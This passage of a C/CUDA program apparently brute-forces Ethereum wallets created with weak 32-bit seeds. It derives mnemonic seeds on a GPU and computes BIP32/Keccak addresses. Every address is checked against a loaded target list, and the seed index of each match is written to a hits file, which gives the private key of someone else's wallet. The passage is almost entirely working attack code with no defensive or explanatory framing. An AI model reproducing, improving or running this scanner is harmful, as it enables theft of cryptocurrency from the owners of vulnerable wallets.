0;\n}\nstatic int tweak_add(EcTls *e, uint8_t key[32], const uint8_t il[32]) {\n  if (!BN_bin2bn(key, 32, e-&gt;k) || !BN_bin2bn(il, 32, e-&gt;t)) return -1;\n  if (BN_is_zero(e-&gt;t) || BN_cmp(e-&gt;t, e-&gt;order) &gt;= 0) return -1;\n  if (BN_mod_add(e-&gt;k, e-&gt;k, e-&gt;t, e-&gt;order, e-&gt;bn) != 1) return -1;\n  if (BN_is_zero(e-&gt;k)) return -1;\n  return BN_bn2binpad(e-&gt;k, key, 32) == 32 ? 0 : -1;\n}\nstatic int ckd_priv(EcTls *e, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index &amp; 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n  } else {\n    if (priv_to_pub(e, key, data, 1) != 0) return -1;\n  }\n  data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n  data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (tweak_add(e, key, I) != 0) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic const uint64_t KECCAKF_RNDC[24] = {\n    0x0000000000000001ULL, 0x0000000000008082ULL, 0x800000000000808aULL, 0x8000000080008000ULL,\n    0x000000000000808bULL, 0x0000000080000001ULL, 0x8000000080008081ULL, 0x8000000000008009ULL,\n    0x000000000000008aULL, 0x0000000000000088ULL, 0x0000000080008009ULL, 0x000000008000000aULL,\n    0x000000008000808bULL, 0x800000000000008bULL, 0x8000000000008089ULL, 0x8000000000008003ULL,\n    0x8000000000008002ULL, 0x8000000000000080ULL, 0x000000000000800aULL, 0x800000008000000aULL,\n    0x8000000080008081ULL, 0x8000000000008080ULL, 0x0000000080000001ULL, 0x8000000080008008ULL};\nstatic const int KECCAKF_ROTC[24] = {1,  3,  6,  10, 15, 21, 28, 36, 45, 55, 2,  14,\n                                     27, 41, 56, 8,  25, 43, 62, 18, 39, 61, 20, 44};\nstatic const int KECCAKF_PILN[24] = {10, 7,  11, 17, 18, 3, 5,  16, 8,  21, 24, 4,\n                                     15, 23, 19, 13, 12, 2, 20, 14, 22, 9,  6,  1};\nstatic void keccakf(uint64_t st[25]) {\n  for (int round = 0; round &lt; 24; round++) {\n    uint64_t bc[5];\n    for (int i = 0; i &lt; 5; i++) bc[i] = st[i] ^ st[i + 5] ^ st[i + 10] ^ st[i + 15] ^ st[i + 20];\n    for (int i = 0; i &lt; 5; i++) {\n      uint64_t t = bc[(i + 4) % 5] ^ ((bc[(i + 1) % 5] &lt;&lt; 1) | (bc[(i + 1) % 5] &gt;&gt; 63));\n      for (int j = 0; j &lt; 25; j += 5) st[j + i] ^= t;\n    }\n    uint64_t t = st[1];\n    for (int i = 0; i &lt; 24; i++) {\n      int j = KECCAKF_PILN[i];\n      bc[0] = st[j];\n      st[j] = (t &lt;&lt; KECCAKF_ROTC[i]) | (t &gt;&gt; (64 - KECCAKF_ROTC[i]));\n      t = bc[0];\n    }\n    for (int j = 0; j &lt; 25; j += 5) {\n      uint64_t tmp[5];\n      for (int i = 0; i &lt; 5; i++) tmp[i] = st[j + i];\n      for (int i = 0; i &lt; 5; i++) st[j + i] ^= (~tmp[(i + 1) % 5]) &amp; tmp[(i + 2) % 5];\n    }\n    st[0] ^= KECCAKF_RNDC[round];\n  }\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  uint64_t st[25];\n  memset(st, 0, sizeof(st));\n  uint8_t *s = (uint8_t *)st;\n  const size_t rsiz = 136;\n  while (inlen &gt;= rsiz) {\n    for (size_t i = 0; i &lt; rsiz; i++) s[i] ^= in[i];\n    keccakf(st);\n    in += rsiz;\n    inlen -= rsiz;\n  }\n  for (size_t i = 0; i &lt; inlen; i++) s[i] ^= in[i];\n  s[inlen] ^= 0x01;\n  s[rsiz - 1] ^= 0x80;\n  keccakf(st);\n  memcpy(out, st, 32);\n}\nstatic int eth_from_seed64(EcTls *e, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32], uncomp[65], h[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(e, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0) != 0) return -1;\n  if (priv_to_pub(e, key, uncomp, 0) != 0) return -1;\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets &amp;&amp; bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i &lt; 20; i++) { out[2 + 2 * i] = h[a[i] &gt;&gt; 4]; out[3 + 2 * i] = h[a[i] &amp; 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic volatile uint64_t g_done = 0;\nstatic volatile uint64_t g_hits = 0;\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd &lt; 0) return -1;\n  struct stat st;\n  if (fstat(fd, &amp;st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  uint8_t kh[32];\n  keccak256((const uint8_t *)\"\", 0, kh);\n  char khex[65];\n  static const char *hh = \"0123456789abcdef\";\n  for (int i = 0; i &lt; 32; i++) { khex[2 * i] = hh[kh[i] &gt;&gt; 4]; khex[2 * i + 1] = hh[kh[i] &amp; 0xf]; }\n  khex[64] = 0;\n  if (strcmp(khex, \"c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470\") != 0) {\n    printf(\"host keccak empty FAIL %s\\n\", khex);\n    return 1;\n  }\n  printf(\"host keccak empty PASS\\n\");\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64], addr[20];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  EcTls e;\n  if (ec_tls_init(&amp;e) != 0) return 1;\n  int rc = eth_from_seed64(&amp;e, seed, addr);\n  ec_tls_free(&amp;e);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 &amp;&amp; strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&amp;d_out, 64));\n  k_derive_seed64&lt;&lt;&lt;1, 1&gt;&gt;&gt;(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  EcTls e;\n  if (ec_tls_init(&amp;e) != 0) return 1;\n  uint8_t addr[20];\n  eth_from_seed64(&amp;e, got, addr);\n  ec_tls_free(&amp;e);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu-&gt;eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok &amp;&amp; aok) ? 0 : 1;\n}\n\nstatic void process_batch(uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    EcTls e;\n    if (ec_tls_init(&amp;e) != 0) {\n      fprintf(stderr, \"ec_tls_init fail\\n\");\n    } else {\n#pragma omp for schedule(static)\n    for (int i = 0; i &lt; n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(&amp;e, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&amp;hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&amp;hits_mu);\n        __sync_fetch_and_add(&amp;g_hits, 1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    }\n    ec_tls_free(&amp;e);\n  }\n#else\n  EcTls e;\n  if (ec_tls_init(&amp;e) != 0) return;\n  for (int i = 0; i &lt; n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(&amp;e, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      __sync_fetch_and_add(&amp;g_hits, 1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n  ec_tls_free(&amp;e);\n#endif\n  __sync_fetch_and_add(&amp;g_done, (uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL &lt;&lt; 32;\n  int threads = 256;\n  int gpu_id = 0;\n  if (argc &gt;= 2 &amp;&amp; !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev &lt; 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i &lt; argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") &amp;&amp; i + 1 &lt; argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") &amp;&amp; i + 1 &lt; argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") &amp;&amp; i + 1 &lt; argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") &amp;&amp; i + 1 &lt; argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") &amp;&amp; i + 1 &lt; argc) threads = atoi(argv[++i]);\n    else if (!strcmp(argv[i], \"--gpu\") &amp;&amp; i + 1 &lt; argc) gpu_id = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(gpu_id)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n  if (ndev &lt; 1) return 1;\n  if (gpu_id &lt; 0 || gpu_id &gt;= ndev) {\n    fprintf(stderr, \"bad --gpu %d (have %d)\\n\", gpu_id, ndev);\n    return 1;\n  }\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpu=%d/%d targets=%zu\\n\", start, count, gpu_id, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 &lt;&lt; 18;\n#ifdef _OPENMP\n  g_inner_threads = threads;\n  if (g_inner_threads &lt; 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at &gt; (1ULL &lt;&lt; 32)) done_at = 1ULL &lt;&lt; 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &amp;t0);\n\n  {\n    CHECK_CUDA(cudaSetDevice(gpu_id));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&amp;d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    for (uint64_t s = start; s &lt; done_at; ) {\n      int n = BATCH;\n      if ((uint64_t)n &gt; done_at - s) n = (int)(done_at - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64&lt;&lt;&gt;&gt;((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch((uint32_t)s, n, h_seed);\n      {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &amp;t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = __sync_add_and_fetch(&amp;g_done, 0);\n        uint64_t hits = __sync_add_and_fetch(&amp;g_hits, 0);\n        double r = done / (sec &gt; 0.001 ? sec : 0.001);\n        double eta = r &gt; 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, hits, eta);\n      }\n      s += (uint64_t)n;\n    }\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", (uint64_t)__sync_add_and_fetch(&amp;g_hits, 0));\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T01:54:41.868651Z"}]}